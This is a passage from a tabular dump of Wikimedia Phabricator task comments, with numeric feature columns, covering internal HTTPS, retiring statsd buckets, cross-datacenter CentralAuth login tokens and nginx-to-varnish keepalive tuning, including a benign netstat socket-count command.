Do we need to clean these up in some new subtasks, and/or implement some check to prevent adding new http:// replacements?  @ema?",,,1600879420,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-nkj7ep7u6tiuj3au7g2w,task_subcomment,,True,c3,3,True,,,272,True,7.0,0.0,0.0,2.0,0.0,5.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,2.0,2.0,0.0,3.0,10.0,0.0,3.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,7.0,3.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,3.0,2.0,9.0,0.0,3.0,10.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,2.0,10.0,2.0,3.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,5.0,0.0,0.0,2.0,4.224137931034483,0.7931034482758621,"All subtasks gone, but there are technically stlil a few edges cases showing up in the trafficserver backend-facing config.  Specifically:

``CODE``

Do we need to clean these up in some new subtasks, and/or implement some check to prevent adding new http:// replacements? SCREEN_NAME?"
505515,HTTPS for internal service traffic,"Change 230541 merged by BBlack:
cache::config: replace lvs IP refs with service hostnames

[[https://gerrit.wikimedia.org/r/230541]]",,,1439243386,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-nkj7ep7u6tiuj3au7g2w,task_subcomment,,True,c3,3,False,,,5,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,23.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,9.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,4.2727272727272725,0.8636363636363636,"Change 230541 merged by BBlack:
cache::config: replace lvs IP refs with service hostnames

[[GERRIT_URL]]"
505154,HTTPS for internal service traffic,"Change 230541 had a related patch set uploaded (by BBlack):
cache::config: replace lvs IP refs with service hostnames

[[https://gerrit.wikimedia.org/r/230541]]
",,,1439214427,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-nkj7ep7u6tiuj3au7g2w,task_subcomment,,True,c3,3,False,,,5,True,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,14.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,7.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,10.0,4.068965517241379,0.896551724137931,"Change 230541 had a related patch set uploaded (by BBlack):
cache::config: replace lvs IP refs with service hostnames

[[GERRIT_URL]]
"
108386,Kill MediaWiki.authmanager.login.*.failure.<number> statsd buckets,These have been obsoleted by https://gerrit.wikimedia.org/r/#/c/230034/ (which is deployed next week).,Medium,50.0,1438982860,1440563833.0,PHID-USER-a6p24cvyblhfzc7we7nc,False,PHID-USER-r7wrkcx7j2vutqs6hr3g,False,PHID-TASK-4olvwrz27is5olrl6us3,task_description,resolved,True,c3,3,True,False,True,5,True,0.0,0.0,0.0,14.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,14.0,7.0,0.0,7.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,14.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,3.7857142857142856,1.0,These have been obsoleted by URL (which is deployed next week).
514669,Kill MediaWiki.authmanager.login.*.failure.<number> statsd buckets,Sure. Done.,,,1440563833,,PHID-USER-r7wrkcx7j2vutqs6hr3g,False,,,PHID-TASK-4olvwrz27is5olrl6us3,task_subcomment,,True,c3,3,True,,,7,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,50.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.5,0.75,Sure. Done.
514664,Kill MediaWiki.authmanager.login.*.failure.<number> statsd buckets,"@ori, could you do this?",,,1440562793,,PHID-USER-a6p24cvyblhfzc7we7nc,False,,,PHID-TASK-4olvwrz27is5olrl6us3,task_subcomment,,True,c3,3,True,,,7,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,14.0,0.0,14.0,0.0,14.0,0.0,0.0,14.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.857142857142857,1.0,"SCREEN_NAME, could you do this?"
108253,Make sure CentralAuth login tokens work with two datacenters,"There is a lot of mixed GET/POST back and forth among domains on login in a short time period. The sticky DC cookie will not work cross-domains easily. Options include:
a) Making login tokens and other sensitive cache/stash access use the BagOStuff READ_LATEST flag
b) Locking those tokens to use a unified BagOStuff config pointing to a single set of servers in one DC
c) Ugly VCL rules to treat CentralAuth login URLs like POST (not preferred)",Medium,50.0,1438898481,1441906989.0,PHID-USER-bmbmvb2e5bg6ztcangbq,False,PHID-USER-bmbmvb2e5bg6ztcangbq,False,PHID-TASK-beqepnzh34kwg5nsl35h,task_description,resolved,True,c3,3,True,True,True,5,True,0.0,0.0,0.0,0.0,2.0,11.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,1.0,0.0,0.0,5.0,11.0,0.0,2.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,1.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,6.0,1.0,18.0,0.0,2.0,7.0,0.0,0.0,0.0,0.0,3.0,0.0,1.0,0.0,0.0,11.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,3.0,0.0,0.0,4.0,3.9574468085106385,0.7340425531914894,"There is a lot of mixed GET/POST back and forth among domains on login in a short time period. The sticky DC cookie will not work cross-domains easily. Options include:
a) Making login tokens and other sensitive cache/stash access use the BagOStuff READ_LATEST flag
b) Locking those tokens to use a unified BagOStuff config pointing to a single set of servers in one DC
c) Ugly VCL rules to treat CentralAuth login URLs like POST (not preferred)"
522751,Make sure CentralAuth login tokens work with two datacenters,"Change 236823 merged by jenkins-bot:
Converted SUL2 handshake tokens to use CentralAuthUser::getSessionCache()

[[https://gerrit.wikimedia.org/r/236823]]",,,1441731230,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-beqepnzh34kwg5nsl35h,task_subcomment,,True,c3,3,False,,,9,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,8.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,4.833333333333333,0.9166666666666666,"Change 236823 merged by jenkins-bot:
Converted SUL2 handshake tokens to use CentralAuthUser::getSessionCache()

[[GERRIT_URL]]"
522750,Make sure CentralAuth login tokens work with two datacenters,"Change 236822 merged by jenkins-bot:
Converted api-token store to CentralAuthUser::getSessionCache()

[[https://gerrit.wikimedia.org/r/236822]]",,,1441731228,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-beqepnzh34kwg5nsl35h,task_subcomment,,True,c3,3,False,,,9,True,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,8.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,4.5,0.875,"Change 236822 merged by jenkins-bot:
Converted api-token store to CentralAuthUser::getSessionCache()

[[GERRIT_URL]]"
522712,Make sure CentralAuth login tokens work with two datacenters,"Change 236823 had a related patch set uploaded (by 20after4):
Converted SUL2 handshake tokens to use CentralAuthUser::getSessionCache()

[[https://gerrit.wikimedia.org/r/236823]]
",,,1441729165,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-beqepnzh34kwg5nsl35h,task_subcomment,,True,c3,3,False,,,9,True,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,17.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,7.0,0.0,0.0,7.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,10.0,4.724137931034483,0.8620689655172413,"Change 236823 had a related patch set uploaded (by 20after4):
Converted SUL2 handshake tokens to use CentralAuthUser::getSessionCache()

[[GERRIT_URL]]
"
522711,Make sure CentralAuth login tokens work with two datacenters,"Change 236822 had a related patch set uploaded (by 20after4):
Converted api-token store to CentralAuthUser::getSessionCache()

[[https://gerrit.wikimedia.org/r/236822]]
",,,1441729111,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-beqepnzh34kwg5nsl35h,task_subcomment,,True,c3,3,False,,,9,True,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,14.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,10.0,4.448275862068965,0.8620689655172413,"Change 236822 had a related patch set uploaded (by 20after4):
Converted api-token store to CentralAuthUser::getSessionCache()

[[GERRIT_URL]]
"
521472,Make sure CentralAuth login tokens work with two datacenters,"Change 234922 merged by jenkins-bot:
Converted SUL2 handshake tokens to use CentralAuthUser::getSessionCache()

[[https://gerrit.wikimedia.org/r/234922]]",,,1441414228,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-beqepnzh34kwg5nsl35h,task_subcomment,,True,c3,3,False,,,9,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,8.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,4.833333333333333,0.9166666666666666,"Change 234922 merged by jenkins-bot:
Converted SUL2 handshake tokens to use CentralAuthUser::getSessionCache()

[[GERRIT_URL]]"
521471,Make sure CentralAuth login tokens work with two datacenters,"Change 234839 merged by jenkins-bot:
Converted api-token store to CentralAuthUser::getSessionCache()

[[https://gerrit.wikimedia.org/r/234839]]",,,1441414225,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-beqepnzh34kwg5nsl35h,task_subcomment,,True,c3,3,False,,,9,True,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,8.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,4.5,0.875,"Change 234839 merged by jenkins-bot:
Converted api-token store to CentralAuthUser::getSessionCache()

[[GERRIT_URL]]"
517422,Make sure CentralAuth login tokens work with two datacenters,"Change 234922 had a related patch set uploaded (by Aaron Schulz):
Converted SUL2 handshake tokens to use CentralAuthUser::getSessionCache()

[[https://gerrit.wikimedia.org/r/234922]]
",,,1440972437,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-beqepnzh34kwg5nsl35h,task_subcomment,,True,c3,3,False,,,8,True,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,23.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,7.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,10.0,4.666666666666667,0.8666666666666667,"Change 234922 had a related patch set uploaded (by Aaron Schulz):
Converted SUL2 handshake tokens to use CentralAuthUser::getSessionCache()

[[GERRIT_URL]]
"
517277,Make sure CentralAuth login tokens work with two datacenters,"Change 234839 had a related patch set uploaded (by Aaron Schulz):
Converted api-token store to CentralAuthUser::getSessionCache()

[[https://gerrit.wikimedia.org/r/234839]]
",,,1440921619,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-beqepnzh34kwg5nsl35h,task_subcomment,,True,c3,3,False,,,8,True,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,20.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,7.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,10.0,4.4,0.8666666666666667,"Change 234839 had a related patch set uploaded (by Aaron Schulz):
Converted api-token store to CentralAuthUser::getSessionCache()

[[GERRIT_URL]]
"
107749,HTTP/1.1 keepalive for local nginx->varnish conns,"Our current nginx config uses a separate HTTP/1.0 TCP connection for each request from nginx->varnish.  Theses happen over the loopback interface so there's virtually zero latency impact from the handshakes, but it would be more efficient in general to use HTTP/1.1 keepalives, and reduce the bloat of TIME_WAIT sockets on the servers.

Typical socket states for nginx->varnish local connections currently (cp1065 has 32 worker threads, and each would have at most one connection established at any given moment, constantly breaking and re-making it):
```
root@cp1065:~# netstat -an|grep '10.64.0.102:80[        ]*10.64.0.102'|awk '{print $6}'|sort|uniq -c
     32 ESTABLISHED
      9 FIN_WAIT2
  63688 TIME_WAIT
```

With keepalive patch manually applied (each of the 32 worker processes spawns parallel keepalive connections as necessary, with a maximum of 4x idle keepalive connections per process before it starts pruning them - so we'd expect 128 ESTABLISHED minimum at all times, and far fewer TIME_WAIT):
```
root@cp1065:~# netstat -an|grep '10.64.0.102:80[        ]*10.64.0.102'|awk '{print $6}'|sort|uniq -c
    144 ESTABLISHED
      2 FIN_WAIT2
   2053 TIME_WAIT
```",Medium,50.0,1438605157,1480356334.0,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,PHID-TASK-gnxftgrgxw5z23nhrqt6,task_description,declined,True,c3,3,True,True,False,4,True,2.5,0.0,0.0,0.0,0.0,5.5,0.5,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.5,0.5,0.0,5.0,9.5,0.0,0.5,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,1.5,0.0,2.0,1.0,1.5,1.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,3.5,0.0,0.0,0.0,0.0,0.0,10.5,0.0,0.0,0.0,1.5,0.0,1.0,0.0,0.0,1.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.5,5.5,0.5,3.0,5.5,0.0,0.0,0.0,0.0,4.0,0.0,2.5,0.0,2.0,9.5,4.5,0.0,0.0,0.0,2.0,0.0,0.0,0.5,0.0,4.0,0.5,1.0,0.0,4.794117647058824,0.9019607843137254,"Our current nginx config uses a separate HTTP/1.0 TCP connection for each request from nginx->varnish.  Theses happen over the loopback interface so there's virtually zero latency impact from the handshakes, but it would be more efficient in general to use HTTP/1.1 keepalives, and reduce the bloat of TIME_WAIT sockets on the servers.

Typical socket states for nginx->varnish local connections currently (cp1065 has 32 worker threads, and each would have at most one connection established at any given moment, constantly breaking and re-making it):
``CODE`CODE`CODE``"
775973,HTTP/1.1 keepalive for local nginx->varnish conns,"Change 323866 merged by BBlack:
tlsproxy: be explicit about Conn:close

[[https://gerrit.wikimedia.org/r/323866]]",,,1481556446,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-gnxftgrgxw5z23nhrqt6,task_subcomment,,True,c3,3,False,,,75,True,0.0,0.0,0.0,0.0,0.0,10.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,10.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,3.7142857142857144,0.8095238095238095,"Change 323866 merged by BBlack:
tlsproxy: be explicit about Conn:close

[[GERRIT_URL]]"
775972,HTTP/1.1 keepalive for local nginx->varnish conns,"Change 323865 merged by BBlack:
tlsproxy: remove unused keepalives complexity

[[https://gerrit.wikimedia.org/r/323865]]",,,1481556445,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-gnxftgrgxw5z23nhrqt6,task_subcomment,,True,c3,3,False,,,75,True,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,4.473684210526316,0.8421052631578947,"Change 323865 merged by BBlack:
tlsproxy: remove unused keepalives complexity

[[GERRIT_URL]]"
767792,HTTP/1.1 keepalive for local nginx->varnish conns,"Change 323866 had a related patch set uploaded (by BBlack):
tlsproxy: be explicit about Conn:close

[[https://gerrit.wikimedia.org/r/323866]]
",,,1480356889,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-gnxftgrgxw5z23nhrqt6,task_subcomment,,True,c3,3,False,,,73,True,0.0,0.0,0.0,0.0,0.0,14.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,14.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,7.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,11.0,3.642857142857143,0.8571428571428571,"Change 323866 had a related patch set uploaded (by BBlack):
tlsproxy: be explicit about Conn:close

[[GERRIT_URL]]
"
767791,HTTP/1.1 keepalive for local nginx->varnish conns,"Change 323865 had a related patch set uploaded (by BBlack):
tlsproxy: remove unused keepalives complexity

[[https://gerrit.wikimedia.org/r/323865]]
",,,1480356888,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-gnxftgrgxw5z23nhrqt6,task_subcomment,,True,c3,3,False,,,73,True,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,12.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,12.0,4.1923076923076925,0.8846153846153846,"Change 323865 had a related patch set uploaded (by BBlack):
tlsproxy: remove unused keepalives complexity

[[GERRIT_URL]]
"
767784,HTTP/1.1 keepalive for local nginx->varnish conns,"Should have resolved/rejected this back in T107749#2662491 - at this point it's just a collector of semi-related commits, but I don't think we plan to actually turn on keepalives at this layer, with this software stack.  It's too risky.",,,1480356325,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-gnxftgrgxw5z23nhrqt6,task_subcomment,,True,c3,3,True,,,73,True,0.0,0.0,0.0,0.0,2.0,8.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,4.0,0.0,10.0,14.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,2.0,4.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,8.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,2.0,2.0,0.0,0.0,0.0,2.0,0.0,8.0,0.0,2.0,10.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,8.0,14.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,3.8823529411764706,0.8431372549019608,"Should have resolved/rejected this back in T107749#2662491 - at this point it's just a collector of semi-related commits, but I don't think we plan to actually turn on keepalives at this layer, with this software stack.  It's too risky."
748779,HTTP/1.1 keepalive for local nginx->varnish conns,"Change 317544 merged by BBlack:
http2 concurrency: back to defaults

[[https://gerrit.wikimedia.org/r/317544]]",,,1477330445,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-gnxftgrgxw5z23nhrqt6,task_subcomment,,True,c3,3,False,,,68,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,11.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,3.9473684210526314,0.8421052631578947,"Change 317544 merged by BBlack:
http2 concurrency: back to defaults

[[GERRIT_URL]]"
748778,HTTP/1.1 keepalive for local nginx->varnish conns,"Change 317544 had a related patch set uploaded (by BBlack):
http2 concurrency: back to defaults

[[https://gerrit.wikimedia.org/r/317544]]
